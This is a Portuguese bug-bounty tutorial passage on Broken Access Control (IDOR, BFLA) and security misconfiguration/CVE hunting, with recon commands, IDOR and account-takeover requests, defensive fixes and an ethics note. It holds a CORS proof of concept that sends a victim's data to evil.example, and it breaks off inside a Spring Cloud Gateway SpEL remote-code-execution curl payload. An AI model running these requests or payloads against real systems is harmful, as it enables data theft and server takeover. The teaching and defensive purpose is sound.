Aí bate aquela curiosidade clássica de quem mexe com segurança: "*e se eu trocar esse `10051002` por `10051001`?*". Você troca. A tela carrega. Só que a fatura que aparece **não é a sua** — é a de outro cliente, com nome, CPF e nota fiscal. Pronto: você acabou de encontrar um **IDOR**, e esse tipo de falha paga de algumas centenas a **dezenas de milhares de reais** dependendo do programa.

Controle de acesso quebrado (**Broken Access Control**) é a vulnerabilidade **número 1** do OWASP Top 10 (A01:2021) e, de longe, a que mais aparece em programas de bug bounty reais. Neste capítulo a gente vai do "o que é" até técnicas avançadas, com exploração, caso prático e defesa de verdade.

O que é Broken Access Control?

Controle de acesso é o conjunto de regras que decide *quem pode fazer o quê*. Autenticação responde "**quem é você?**"; autorização responde "**você pode fazer isso?**". Broken Access Control é quando a aplicação **erra na autorização** — ela sabe quem você é, mas esquece de checar se você *pode* acessar aquele recurso ou executar aquela função.

> **Analogia:** é o hotel que confere seu nome no balcão (autenticação) mas entrega um cartão que abre **qualquer** quarto, não só o seu (autorização quebrada). Pior: às vezes o cartão também abre a sala de controle do hotel.

Dentro dessa família existem três siglas que você precisa dominar:

Sigla	Nome	O que o atacante faz
IDOR	Insecure Direct Object Reference	Troca o **identificador de um objeto** (`id` , `cpf` , `chargeId`) e acessa dado de outro usuário
BOLA	Broken Object Level Authorization	Mesmo conceito do IDOR, mas o termo oficial de **API** (é o #1 do OWASP API Top 10)
BFLA	Broken Function Level Authorization	Acessa uma **função/ação** que devia ser só de outro perfil (ex.: usuário comum executa ação de admin)

Resumindo a diferença que mais confunde: - **IDOR/BOLA** = acesso indevido a um **objeto/dado** ("vejo a fatura de outra pessoa"). - **BFLA** = acesso indevido a uma **função** ("executo uma ação de administrador sendo usuário comum").

Por que isso importa (e quanto paga)

O impacto é direto e fácil de explicar pro programa — por isso paga bem:

- **Vazamento de PII em massa** (PII = dado pessoal identificável: nome, CPF, e-mail, endereço — Glossário): enumerar IDs sequenciais e baixar dados de **todos** os clientes (nome, CPF, endereço, faturas).
- **Account Takeover (ATO)**: trocar um identificador num fluxo de reset/refresh de senha e assumir a conta de qualquer um.
- **Ações privilegiadas**: um cliente comum bloqueando/alterando recursos que só o admin deveria mexer (BFLA).

Em programas reais, falhas dessa família costumam pagar de **R$500** (um IDOR simples, baixo impacto) até **R$10.000+** (BFLA com ação crítica ou IDOR expondo PII em escala). O que define o valor é o **impacto** — e impacto aqui é sobre *dado sensível* e *escala* (quantas contas dá pra afetar).

> **Cheque o escopo antes.** Existem programas que colocam IDOR **fora de escopo** — e outros que pagam muito bem. Ler as regras do programa é parte do trabalho.

Como funciona por trás

A raiz quase sempre é a mesma: o servidor **confia em um identificador que veio do cliente** e não verifica se aquele usuário é o **dono** do objeto (ou se tem permissão pra função).

Fluxo vulnerável típico:

```
GET /api/pedidos?id=1001 HTTP/2
Host: alvo.com
Authorization: Bearer eyJhbGciOi...   # <- você está autenticado como Usuário B
```

```
// Backend VULNERÁVEL — busca o objeto, mas nunca checa o dono
$pedido = $db->query("SELECT * FROM pedidos WHERE id = " . $_GET['id']);
return json($pedido);   // entrega pra qualquer um autenticado
```

O servidor sabe que você é o Usuário B (token válido), mas entrega o pedido `1001` mesmo que ele seja do Usuário A. **Faltou a checagem de propriedade** (`WHERE id = ? AND dono_id = usuario_logado`).

> **Token /** `Authorization: Bearer`: a credencial que prova quem você é em cada request (sem ele, você não está "logado"). Costuma ser um **JWT** (`header.payload.signature` em Base64URL). Detalhe no Glossário.

Tipos e variações

1. **IDOR por ID numérico sequencial** — o clássico: `?id=1001` → `?id=1002`.
2. **IDOR em parâmetro "de negócio"** — não é um `id` óbvio: `?cpf=`, `?NroConta=`, `?chargeId=`, `?id_subgrupo=`.
3. **IDOR no corpo (POST/PUT) ou em header** — o identificador vai no JSON ou num header customizado, não na URL.
4. **IDOR por troca de token entre contas** — você mantém **seu** acesso, mas usa um endpoint que **outro perfil** acessa, trocando só o token de autorização (clássico em downloads de relatório).
5. **IDOR "mascarado"** — o ID é um UUID/hash/valor criptografado. Às vezes a própria API te devolve o valor já criptografado de um parâmetro, e aí dá pra reusar (veremos no caso prático).
6. **BFLA** — o endpoint da função privilegiada existe e responde, só não devia aceitar o seu perfil.

Recon — como encontrar

Antes de explorar, você precisa **mapear superfícies**. Onde IDOR/BFLA se escondem:

- **Tudo que carrega "um recurso meu"**: faturas, pedidos, perfis, mensagens, downloads de relatório, anexos, tickets.
- **Parâmetros com identificador**: `id`, `user_id`, `uuid`, `cpf`, `conta`, `chargeId`, `orderId`, `documentId`, `file`.
- **Fluxos de conta**: reset de senha, troca de e-mail, refresh token, convites — ótimos pra ATO.
- **Funções por perfil (BFLA)**: logue como **admin**, anote **todos** os endpoints/ações que só o admin enxerga; depois tente chamá-los autenticado como **usuário comum**.

Dicas de descoberta:

```
# Endpoints e parâmetros escondidos vivem nos arquivos JS
echo https://alvo.com | gau | grep '\.js$' | httpx -mc 200 -content-type | grep
javascript
# leia CADA arquivo: paths de API, nomes de parâmetros, rotas de admin
```

```
# Google dorks pra achar docs de API (onde os IDs e endpoints aparecem)
site:alvo.com inurl:apidocs | inurl:swagger | inurl:api-docs | inurl:v1
```

> **Regra de ouro do recon de IDOR:** trabalhe **sempre com 2 contas** (Conta A e Conta B), de preferência de perfis diferentes. Você precisa do objeto de A pra tentar acessar com B — sem isso, fica adivinhando.

Exploração passo a passo (do básico ao avançado)

Nível 1 — Enumerar ID na URL (GET)

O básico. Mande sua própria request no **Burp Repeater**, troque o ID e veja se volta dado de outro usuário.

```
GET /api/faturas/charge-details?chargeId=10051002 HTTP/2   # sua fatura
GET /api/faturas/charge-details?chargeId=10051001 HTTP/2   # <- troca: fatura de outro?
```

Se voltou dado que não é seu → IDOR confirmado. Pra mostrar **escala**, use o **Burp Intruder** com um payload numérico (payload = a lista de valores que o Burp injeta automaticamente; `Sniper` é o modo que varia uma posição por vez — aqui, o `chargeId`) e veja quantos IDs respondem 200 com dados distintos.

Nível 2 — ID no corpo / método não-óbvio

Nem todo IDOR está na URL. Teste o identificador no JSON do POST/PUT, em headers (`X-User-Id`) e troque o **método** (se `GET /pedido/1001` é checado mas `POST` / `PUT` não).

```
PUT /api/usuario HTTP/2
Host: alvo.com
Content-Type: application/json
Authorization: Bearer <token_da_Conta_B>

{"userId": 1001, "telefone": "11999999999"}   # <- 1001 é da Conta A
```

Nível 3 — Troca de token (Broken Access Control em função)

Padrão campeão em downloads de relatório. **Conta A** tem acesso à funcionalidade; **Conta B** não. Você dispara a request **com a Conta A**, intercepta no Burp e **troca só o token** pelo da Conta B:

```
POST /api/relatorios/download HTTP/2
Host: alvo.com
Authorization: Bearer <token_da_Conta_B>   # <- troca aqui (era da Conta A)
Content-Type: application/json

{"reportId": 42}
```

Se o relatório **baixa mesmo com o token da Conta B** (que não tinha acesso), você provou que a autorização da **função** está quebrada.

Nível 4 — BFLA (função privilegiada com perfil comum)

Logue como admin **e** como usuário comum (navegadores/sessões diferentes). Pegue uma ação que só o admin faz (ex.: "bloquear loja", "alterar dados de outro usuário") e refaça a request com o token do usuário comum:

```
POST /api/admin/store/block HTTP/2
Authorization: Bearer <token_do_usuario_comum>   # <- perfil sem permissão
{"storeId": 77}
```

Resposta `200` /ação executada = **BFLA**.

Nível 5 — Avançado: IDs "protegidos"

- **UUID/hash:** se não é sequencial, procure o ID **vazando** em outras respostas (listagens, JS, notificações, e-mails) e reuse.
- **Valor criptografado devolvido pela própria API:** alguns endpoints recebem um parâmetro e, na **resposta**, devolvem esse valor **já criptografado/assinado**. Dá pra pegar esse valor de um objeto e injetá-lo na request de outro — você não quebrou a cripto, só **reaproveitou** o que o servidor te deu.
- **ATO via fluxo de senha:** intercepte o reset/refresh e troque o **identificador do usuário** (login/e-mail) no parâmetro:

```
POST /autenticacao/api/v1/alterar-senha HTTP/2
{"usuario": "vitima_alvo", "novaSenha": "Senha123!", "confirmaSenha": "Senha123!"}
# <- "usuario" deveria ser fixo na sessão; se aceitar outro, é ATO
```

Caso real-fictício: IDOR → vazamento de PII em faturas

> Cenário **fictício, baseado em padrões reais** de programas de bug bounty (anonimizado).

Você está testando `app.exemplo.com`, uma plataforma financeira. Na área "Financeiro → Faturas", ao abrir uma fatura, o Burp registra:

```
GET /api/billing/statement/charge-details?chargeId=10051002 HTTP/2
Host: app.exemplo.com
Authorization: Bearer <seu_token>
```

Passo 1 — Confirmar. No Repeater, troco `10051002` por `10051001`:

```
HTTP/2 200 OK
Content-Type: application/json

{"chargeId":10051001,"customerName":"OUTRO CLIENTE","cpf":"***.***.***-**",
 "invoiceUrl":"/files/nfse/10051001.pdf","amount":299.50}
```

Voltou a fatura de **outro cliente** — nome, CPF e link da nota fiscal (NFS-e). IDOR confirmado.

Passo 2 — Mostrar escala. Burp Intruder, `Sniper` no `chargeId`, payload numérico `10050000–10052000`. Centenas de `200 OK` com clientes diferentes → não é caso isolado, é **vazamento em massa de PII**.

O que a tela do Burp mostraria: painel Request/Response lado a lado; na Response, o JSON com `customerName` / `cpf` de um cliente que não é o da conta logada — destacado em vermelho o `chargeId` trocado.

Passo 3 — Report. Título `[IDOR] - Exposição de faturas e NFS-e (PII) via troca de chargeId`. Resumo focado no risco ao negócio: "*qualquer cliente autenticado consegue ler faturas e notas fiscais (com CPF) de todos os outros, violando a LGPD*". Passos numerados + prints. Severidade **Crítica** (PII em escala). (Veja o capítulo Como escrever um report que paga.)

Defesa em camadas

A correção real é **sempre no servidor** e por objeto. Frontend não conta.

1. Cheque a propriedade do objeto (object-level), não só o login:

```
// ERRADO — confia no id do cliente
$pedido = Pedido::find($_GET['id']);

// CORRETO — só devolve se o objeto for do usuário logado
$pedido = Pedido::where('id', $req->id)
               ->where('dono_id', auth()->id())   // <- a checagem que faltava
               ->firstOrFail();                    // 404 se não for dono
```

```
// Node/Express — autorização por dono
const pedido = await Pedido.findOne({ _id: req.params.id, donoId: req.user.id });
if (!pedido) return res.sendStatus(404);
```

2. Autorização por função (contra BFLA): valide o **papel** em TODA rota privilegiada, no backend — não esconda o botão no front e ache que resolveu.

```
# Django/DRF — nega por padrão
@permission_classes([IsAdminUser])
def block_store(request): ...
```

3. Princípios que matam a classe inteira: - **Deny by default**: tudo é negado a menos que explicitamente permitido. - **Não confie em NADA do cliente** pra decidir autorização (id, role, flags no JWT do lado errado). - **IDs imprevisíveis** (UUID v4) ajudam contra enumeração — mas **não substituem** a checagem de dono. - **Logue e alerte** acessos negados/anômalos (enumeração gera muitos 403/404). - **Teste de autorização no CI**: para cada endpoint, um teste "Conta B não acessa objeto de Conta A".

> **O que NÃO basta:** esconder o botão no frontend, usar UUID sem checar dono, confiar no `role` que veio no corpo da request, ou bloquear só o método `GET` e esquecer `POST/PUT/DELETE`.

Ferramentas + labs legais

- **Burp Suite** — Repeater (trocar IDs), Intruder (enumerar), e extensões **Autorize** / **AuthMatrix** (testam automaticamente "acesso com a outra conta").
- **ffuf / Param miners** — descobrir parâmetros e IDs.
- **Labs pra praticar (autorizados):** PortSwigger Web Security Academy — Access Control (a melhor fonte gratuita), DVWA, bWAPP, TryHackMe, HackTheBox, HackingClub.

Checklist do caçador

- [ ] Criei **2 contas** (perfis diferentes quando possível).
- [ ] Mapeei todo parâmetro com identificador (`id` , `cpf` , `chargeId` , `conta` , `uuid` ...).
- [ ] Testei troca de ID em **GET, POST, PUT, DELETE** e no **corpo/headers**.
- [ ] Testei **troca de token** entre Conta A e Conta B em funções restritas.
- [ ] Como admin, anotei ações privilegiadas e tentei chamá-las como **usuário comum** (BFLA).
- [ ] Procurei IDs/valores **vazando** em respostas, JS e e-mails (pra IDs não-sequenciais).
- [ ] Mostrei **escala/impacto** (Intruder) e identifiquei **dado sensível** (PII).
- [ ] Conferi que IDOR **está no escopo** do programa.

O que você precisa lembrar

- **IDOR/BOLA** = acesso a **objeto** de outro; **BFLA** = acesso a **função** de outro perfil.
- A causa é sempre **falta de checagem de propriedade/permissão no servidor**.
- O dinheiro está no **impacto**: PII + escala + ação crítica.

> **Dica de ouro:** se você consegue **ler ou alterar** algo trocando um identificador, e o servidor não reclama, **provavelmente é Broken Access Control**. Sempre teste com duas contas — é a diferença entre "achar que tem bug" e **provar** que tem.

Nota ética

Tudo aqui é pra **testes autorizados** — programas de bug bounty (dentro do escopo), pentests contratados e labs legais. Trocar IDs em sistemas de terceiros sem autorização é crime, além de desnecessário quando existe tanto lab bom pra treinar. Use pra proteger, reportar com responsabilidade e ensinar.

Referências

- OWASP A01:2021 — Broken Access Control
- OWASP API Security — BOLA (API1:2023) e BFLA (API5:2023)
- PortSwigger — Access control vulnerabilities
- reddelexc/hackerone-reports — Top IDOR reports (mais de 200 reports reais pra estudar)

Security Misconfiguration e Caça a CVEs/1-day

A porta que ficou destrancada

Você chega num prédio comercial e a recepção tem catraca, crachá, biometria — segurança de verdade. Aí você dá a volta e encontra a porta de serviço **escancarada**, com a chave na fechadura e um post-it dizendo "senha do Wi-Fi: admin123". Ninguém *invadiu* nada. A porta já estava aberta. **Security Misconfiguration** é exatamente isso: a aplicação pode ter código impecável, mas alguém esqueceu o `debug=true` ligado, deixou o `.git` público, subiu um `backup.zip` no servidor ou rodou uma versão de software com uma falha já conhecida.

Esse é o tipo de bug que recompensa **leitura e atenção** mais do que payload mirabolante. É a vulnerabilidade **A05:2021** do OWASP Top 10, e na prática de bug bounty ela se divide em duas grandes frentes que vamos cobrir aqui:

1. **Misconfiguration "clássica"** — algo foi mal configurado e vaza dado/acesso (debug, `.git`, headers, CORS, credenciais default).
2. **Caça a CVEs / 1-day (n-day)** — você descobre *qual software e qual versão* o alvo roda, procura uma vulnerabilidade pública pra aquela versão, e aplica o PoC com cuidado.

> **PoC** (Proof of Concept): a prova mínima de que o bug é real e explorável — o passo a passo/payload que demonstra o impacto sem causar dano. Detalhe no Glossário.

As duas frentes se encontram num lugar só: **o alvo entregou informação que não devia.** Bora destrinchar.

O que é Security Misconfiguration (A05)?

Misconfiguration é toda falha que vem de uma *configuração* insegura — não de um bug no código de negócio, mas de como o ambiente, o servidor, o framework ou a infraestrutura foram montados.

> **Analogia:** o cofre (o código) pode ser à prova de balas, mas se o manual de instruções com a combinação ficou em cima da mesa (o `.git`), ou se a fábrica mandou o cofre com a senha de fábrica `0000` e ninguém trocou (credencial default), o cofre é inútil. A falha não está no cofre — está em **como ele foi instalado**.

O OWASP é literal sobre os sinais. Segundo a página oficial do A05:2021, a aplicação **pode estar vulnerável se**:

- falta *hardening* (endurecimento de segurança) em qualquer parte da stack, ou há permissões mal configuradas em serviços de nuvem;

- recursos desnecessários estão habilitados (portas, serviços, páginas, **contas** ou privilégios a mais);
- **contas e senhas padrão (default) continuam ativas e inalteradas**;
- o tratamento de erro **revela stack traces** ou mensagens excessivamente informativas;
- as configurações de servidores/frameworks/bibliotecas/bancos **não estão em valores seguros**;
- o servidor **não envia os headers de segurança** (ou envia com valores frouxos).

Repare que CVE/1-day se encaixa direto no quinto item: rodar **um framework desatualizado** (ex.: Spring, Struts, ThinkPHP) com falha pública conhecida *é* uma misconfiguration de manutenção.

Por que isso importa (e quanto paga)

O impacto varia muito — e por isso o bounty também:

- **Information disclosure puro** (um header faltando, uma versão exposta, um `/debug/pprof`): geralmente **Baixo/Médio**, faixa de **R$200 a R$500**. Às vezes só "info", às vezes a peça que abre o próximo bug.
- **Vazamento de credenciais** (`.git` com senha de banco, `wp-config.php.save`, `backup.rar` com connection string): pula pra **Alto**, **R$800 a R$3.000+**, porque credencial vira acesso interno.
- **RCE via CVE** (Spring Cloud Gateway, Zimbra, Symfony em modo dev): **Crítico**, o topo da tabela. Você controla o servidor.

> **A diferença entre "info" e "crítico" é a cadeia.** Uma versão exposta sozinha vale pouco. Mas *aquela versão → uma CVE de RCE → shell no servidor* é a história mais bem paga do ramo. Pense sempre: "o que esse vazamento me **destrava**?"
>
> **Como ler o CVSS aqui.** Ao longo do capítulo você verá o score **CVSS v3.1** (o que o NVD publica pra maioria das CVEs aqui citadas) e, quando ajuda, o **CVSS v4.0** ao lado. A grande mudança do v4.0 é separar o impacto em **sistema vulnerável** (`VC/VI/VA`) e **sistema subsequente** (`SC/SI/SA`) — útil pra distinguir "o estrago foi só na app afetada" de "vazou pra rede/outro sistema". Importante: o NVD **ainda não publicou vetor v4.0** pra essas CVEs específicas; onde mostro um número v4.0, ele vem da calculadora oficial FIRST sobre o vetor equivalente — e eu sempre mostro o vetor pra você reproduzir.

Como funciona por trás

A raiz é sempre a mesma: **o ambiente expõe algo que deveria estar fechado.** Tecnicamente, isso aparece de três jeitos numa request HTTP:

1. Um arquivo/endpoint que não devia ser público responde 200.

```
GET /.git/HEAD HTTP/2
Host: alvo.com
```

```
HTTP/2 200 OK
Content-Type: text/plain

ref: refs/heads/master   # <- o servidor entregou o miolo do Git. Não deveria.
```

2. A resposta carrega informação demais (versão, stack trace, variável de ambiente):

```
HTTP/2 500 Internal Server Error
Content-Type: text/html

PHP Fatal error: Uncaught PDOException: SQLSTATE[HY000] [1045]
Access denied for user 'app_prod'@'10.0.3.14'   # <- usuário do banco + IP interno
vazando
  in /var/www/app/src/Db.php:88
```

3. Os headers de resposta abrem brechas (CORS frouxo, headers de segurança ausentes):

> **CORS** (Cross-Origin Resource Sharing): conjunto de headers que diz ao navegador *quais outros sites* podem ler a resposta de uma origem. Configurado frouxo, deixa um site malicioso ler dado autenticado. Detalhe no Glossário.

```
HTTP/2 200 OK
Access-Control-Allow-Origin: https://evil.example   # <- reflete a origem do atacante
Access-Control-Allow-Credentials: true              # <- e ainda manda mandar o cookie
```

Nenhum desses casos exige "quebrar" nada. O servidor **entregou** de bandeja. Seu trabalho é saber **onde pedir**.

Tipos e variações

Tipo	O que é	Como costuma aparecer
Endpoint de debug exposto	painel/profiler de desenvolvimento aberto em produção	`/debug/pprof` (Go), `app_dev.php` (Symfony), `/actuator` (Spring), `?XDEBUG_SESSION`
`.git` exposto	diretório de versionamento público → dump do código-fonte	`/.git/HEAD`, `/.git/config` respondem 200
Arquivos de backup	cópias temporárias deixadas no webroot	`index.php.save`, `wp-config.php.bak`, `app.php~`, `backup.zip`, `bin.rar`
Directory listing		página "Index of /uploads"

Tipo	O que é	Como costuma aparecer
	servidor lista o conteúdo da pasta	
Credenciais default	login de fábrica nunca trocado	`admin:admin`, `tomcat:tomcat`, painéis (Jenkins, Grafana) abertos
Headers de segurança ausentes	sem `HSTS`, `CSP`, `X-Frame-Options` etc.	clickjacking, downgrade, MIME sniffing
Erros verbosos / stack trace	exceção detalhada vaza pro usuário	trace PHP/Java/.NET, query SQL, dado de outro cliente
Variáveis de ambiente expostas	`.env` ou debug do framework cospe segredos	`MYSQL_DATABASE_PASSWORD`, `AWS_SECRET`, tokens
CORS mal configurado	reflete origem + permite credenciais	leitura cross-origin de dado autenticado
CVE / 1-day	versão vulnerável conhecida rodando	fingerprint da versão → CVE → PoC

Recon — como encontrar

Misconfiguration é **80% recon**. O segredo é mapear *o que está exposto* e *que tecnologia roda*. Vamos por partes.

1. Fuzzing de arquivos e paths sensíveis

A ferramenta padrão é o **`ffuf`** (fuzzer de HTTP que troca a palavra `FUZZ` por cada linha de uma wordlist e reporta os status codes — se você ainda não viu, está no capítulo de Recon). Você joga uma wordlist de "leaky paths" e vê o que responde:

```
# -mc = match codes (só mostra esses status); -t = threads (segura o ritmo p/ não tomar block)
ffuf -w leaky-paths.txt -t 20 -u https://alvo.com/FUZZ -mc 200,301,302,401,403
```

Wordlists boas pra essa caça: a `leaky-paths` do projeto ayoubfathi/leaky-paths e a clássica `raft-*` do SecLists. Procure especificamente por:

```
.git/HEAD           .git/config        .env
wp-config.php.save  index.php.bak      backup.zip
.DS_Store           /debug/pprof/      /actuator/gateway/routes
phpinfo.php         /server-status     bin.rar
```

> **Dica de ritmo:** por padrão o `ffuf` usa **40 threads** (`-t 40`) e não limita a taxa. Baixe pra `-t 20` (ou menos) e, pra travar de fato as requisições por segundo, use `-rate` (ex.: `-rate 10` = no máx. 10 req/s) — assim você não derruba o alvo nem toma bloqueio

> do WAF (Web Application Firewall — o filtro que fica na frente da aplicação e barra requisições suspeitas; ver Glossário). Alguns programas até especificam o limite de req/s permitido; respeite.
>
> **Fuzzing logado > fuzzing cego.** Fuzz passivo todo mundo faz, e o ativo agressivo vive caindo no WAF/blacklist. A jogada mais limpa: **logue na aplicação, desligue as automações do Burp e clique em TUDO manualmente** — depois monte **sua própria wordlist** a partir do histórico do Burp (paths reais que a app chama, parâmetros, rotas de infra). Você fuzza com termos que a *própria app* usa, então não destoa de um usuário legítimo e dificilmente é flagrado. Ferramentas que ajudam a extrair esses termos: **Paramalyzer** (exporta parâmetros depois de navegar), `gau` + **LinkFinder**, e scanners de JS com regex.
>
> **Não domina a stack? Monte um lab antes.** Misconfig é específico de cada tecnologia: o que vaza num ThinkPHP não é o que vaza num Spring. Se você não conhece a fundo o software que o alvo roda, **suba uma instância local dele** e descubra quais são os arquivos de config e endpoints sensíveis (`docker-compose.yaml`, heapdump, `.git`, backups característicos) — *aí* volte ao alvo sabendo exatamente o que procurar. Lab + wordlist personalizada + paciência na unha bate scanner cego.

2. Fingerprint de tecnologia e versão (o coração da caça a CVE)

Antes de procurar uma CVE você precisa saber **o que** e **qual versão** o alvo roda. Sinais valiosos:

- **Headers de resposta:** `Server: Apache/2.4.25`, `X-Powered-By: PHP/7.0.33`, `X-Application-Context`.
- **Rodapé / página de login:** muitos painéis exibem a versão (ex.: "Consul Enterprise 1.9.4").
- **`/wp-json/`, `meta generator`, paths característicos** de WordPress, Moodle, GLPI etc.
- **Wappalyzer** (extensão de navegador / projeto open-source): detecta CMS, frameworks e versões só de abrir a página. **WhatWeb** e **httpx** (`-tech-detect`) fazem o mesmo no terminal.

```
# httpx fingerprintando tecnologia + título + status de uma lista de hosts
cat hosts.txt | httpx -title -status-code -tech-detect
```

3. Shodan + favicon hash (fingerprint em escala)

O **Shodan** é um buscador de dispositivos/serviços expostos na internet. O truque mais poderoso de fingerprint é o **favicon hash**: muitas empresas reusam o mesmo `favicon.ico` em toda a infra, então o **hash do favicon** vira uma impressão digital. O Shodan indexa esse hash no filtro `http.favicon.hash`.

> **Detalhe técnico (pra você entender, não decorar):** o Shodan não faz hash do arquivo cru. Ele pega o conteúdo do favicon, codifica em **base64** (com quebra de linha a cada 76 caracteres, como o `base64` clássico do e-mail), e roda **MurmurHash3 (mmh3)** — um hash rápido e não-criptográfico — sobre essa string. É por isso que você precisa do `mmh3` pra reproduzir o número.

Calculando o hash de um favicon:

```
# pip install mmh3 requests
import requests, mmh3, base64
r = requests.get("https://alvo.com/favicon.ico", verify=False)
b64 = base64.encodebytes(r.content)          # base64 com \n a cada 76 chars
print(mmh3.hash(b64))                          # mmh3.hash devolve int de 32 bits com
sinal (pode ser negativo)
```

Com o hash em mãos, você acha **todos** os hosts no mundo que usam aquele mesmo favicon (logo, provavelmente o mesmo software/empresa). Exemplo usando o hash documentado do **GitLab** (`1265477436`), que é o próprio exemplo da doc oficial do Shodan:

```
shodan search 'http.favicon.hash:1265477436' --fields ip_str,port   # 1265477436 =
favicon do GitLab
```

Outros hashes famosos pra calibrar a técnica: **Jenkins** = `81586312` . A ideia: identifique a tecnologia pelo favicon, encontre a frota toda, e aí cruze com a versão pra mapear quem está vulnerável.

4. IP de origem atrás de CDN

Detalhe que vira bounty sozinho: se o DNS/configuração **vaza o IP real** do servidor por trás de uma CDN/WAF (Cloudflare etc.), dá pra acessar o IP direto e **contornar a proteção**. Acha o IP via Shodan/ `ping` /registros DNS antigos, bate direto nele e confirma que a proteção foi pulada. Costuma cair como **Misconfig de severidade Média** (risco aumentado de DDoS e bypass de WAF).

Exploração passo a passo (do básico ao avançado)

Nível 1 — `.git` exposto → dump do código-fonte

Quando o `.git` é deixado público, o histórico inteiro do repositório está acessível via HTTP. Primeiro **confirme** (manualmente ou com a extensão de navegador **DotGit**, que avisa quando um site tem `.git` aberto):

```
curl -s https://alvo.com/.git/HEAD
# saída esperada: "ref: refs/heads/master"  -> confirmado
```

Depois reconstrua o repositório com o **`git-dumper`** (ferramenta que baixa e remonta o `.git` mesmo sem directory listing — ela busca `HEAD`, `config`, `packed-refs`, os objetos e faz o `checkout`):

```
# pip install git-dumper
git-dumper https://alvo.com/.git/ ./dump
cd dump && ls
# composer.json  Dockerfile  index.php  vendor/ ...
```

Agora **grepe** por segredos no que você baixou:

```
grep -rEi 'password|secret|api_key|DB_|mysql|--password=' ./dump
```

Em casos reais isso entrega credenciais de banco hardcoded em scripts de migração (`DB_HOST`, `-u root --password=...`), tokens internos, e no pior (melhor pra você) cenário, **arquivos que executam comandos** — escalando o `.git` exposto pra **RCE** completo.

Nível 2 — Arquivos de backup → credenciais

Devs editam `index.php` no servidor e o editor salva um `index.php.save` / `.bak` / `~`. O servidor serve esses arquivos como **texto** (não executa o PHP), então o **código-fonte vaza**:

```
GET /wp-config.php.save HTTP/2
Host: alvo.com
```

```
HTTP/2 200 OK
Content-Type: text/plain

<?php
define('DB_NAME', 'wp_prod');
define('DB_USER', 'wp_admin');
define('DB_PASSWORD', '<-- senha em texto puro aqui -->');   # <- jackpot
define('DB_HOST', 'db.internal:3306');
```

Variações que valem fuzzar: `.save`, `.bak`, `.old`, `.orig`, `.txt`, `~`, `.swp`, e arquivos compactados (`backup.zip`, `site.tar.gz`, `bin.rar` — às vezes com DLLs/JARs lá dentro contendo connection strings).

Nível 3 — Endpoint de debug / variáveis de ambiente

Frameworks em modo de desenvolvimento expõem profilers e dumps. Dois clássicos:

Go pprof (debug do runtime de Go) aberto em produção:

```
GET /debug/pprof/ HTTP/2
Host: alvo.com
```

A página lista perfis (`heap` , `goroutine` , `allocs` ...) e vaza nomes de funções, caminhos de arquivo e dados internos — além de permitir DoS por profiling ilimitado. É a **CVE-2019-11248** quando o `/debug/pprof` não-autenticado do **Kubelet** do Kubernetes fica exposto pela porta `healthz` (CVSS v3.1 **8.2 Alto** no NVD, vetor `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:L` — confidencialidade alta + DoS por profiling; o NVD não publica vetor v4.0). Afeta Kubernetes < 1.12.10 / 1.13.8 / 1.14.4 / 1.15.0.

ThinkPHP sem `PATHINFO` cospe **todas as variáveis de ambiente**:

```
GET /index.php?s=example HTTP/2
Host: alvo.com
```

```
HTTP/2 200 OK

{"MYSQL_DATABASE":"app","MYSQL_DATABASE_USERNAME":"root",
 "MYSQL_DATABASE_PASSWORD":"<-- senha do banco -->","SERVER_ADDR":"10.0.3.14"}
# <- credenciais do MySQL + IP interno via debug do framework
```

Isso é a **CVE-2022-25481** (ThinkPHP 5.0.24 configurado sem `PATHINFO` ; CVSS v3.1 **7.5 Alto**, vetor `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N` — só confidencialidade). Note: o vendor pode argumentar que "é comportamento do modo debug" — e de fato a CVE é *disputada* no NVD por isso (um terceiro contesta que a exposição seria funcionalidade intencional do modo debug) —, mas **vazamento de credencial é aceito** na maioria dos programas de bug bounty.

Nível 4 — CORS mal configurado → roubo de dado autenticado

O bug de CORS perigoso é o servidor **refletir** a origem do atacante **e** permitir credenciais. Teste mandando uma `Origin` arbitrária:

```
GET /api/account HTTP/2
Host: alvo.com
Origin: https://evil.example   # <- origem que você controla
Cookie: session=<cookie_da_vítima>
```

```
HTTP/2 200 OK
Access-Control-Allow-Origin: https://evil.example   # <- refletiu a SUA origem
Access-Control-Allow-Credentials: true              # <- e libera mandar cookie
```

Se a resposta reflete sua origem com `Allow-Credentials: true` , qualquer site malicioso consegue ler o dado autenticado da vítima. O PoC é uma página no seu domínio:

```
<script>
  // roda no navegador da vítima quando ela visita evil.example
  fetch('https://alvo.com/api/account', { credentials: 'include' })
    .then(r => r.text())
```

```
    .then(d => fetch('https://evil.example/log?d=' + encodeURIComponent(d)));
</script>
```

> `Access-Control-Allow-Origin: *` **junto** com `Allow-Credentials: true` o navegador nem permite (é proibido pela spec). O bug explorável é o **reflexo dinâmico da origem** — por isso teste com uma origem custom, não confie só no `*`. (PortSwigger — CORS).

Nível 5 — Avançado: caça a CVE/1-day e PoC com responsabilidade

Aqui está o pulo do gato. A metodologia é uma **cadeia**:

```
fingerprint da versão  →  buscar CVE pra aquela versão  →  ler o PoC e ENTENDER  →
aplicar com cuidado  →  reportar
```

Passo a — Ache a versão. (recon, seção acima). Digamos que você confirmou *Spring Cloud Gateway* com o endpoint `/actuator` aberto.

Passo b — Busque a CVE. Procure por `"Spring Cloud Gateway" CVE` no NVD/MITRE, no exploit-db, e acompanhe feeds (canal `cveNotify` no Telegram, GitHub de PoCs). Você chega na **CVE-2022-22947**: injeção de SpEL no Actuator → RCE (afeta Spring Cloud Gateway **3.1.0** e **3.0.0–3.0.6**; corrigida em **3.1.1 / 3.0.7**). CVSS v3.1 **10.0 Crítico** (NVD) — vetor `AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H`, com `S:C` (*scope changed*) porque, da Gateway, o SpEL alcança o SO inteiro. O NVD não publica vetor v4.0; pelo vetor equivalente de RCE não-autenticado (`AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N`) a calculadora FIRST v4.0 dá **9.3 Crítico**. (SpEL = Spring Expression Language, a mini-linguagem de expressões do Spring; se você consegue injetar SpEL, consegue executar código Java no servidor.)

Passo c — Leia o PoC e entenda o que ele faz (NUNCA rode às cegas). O exploit cria uma rota com um filtro que avalia uma expressão SpEL executando um comando:

```
# 1) cria uma rota com payload SpEL que executa "id"
curl -s alvo.com/actuator/gateway/routes/hack -X POST \
  -H 'Content-Type: application/json' -d '{
  "id":"hack",
  "filters":[{"name":"AddResponseHeader","args":{
     "name":"Result",
     "value":"#{new
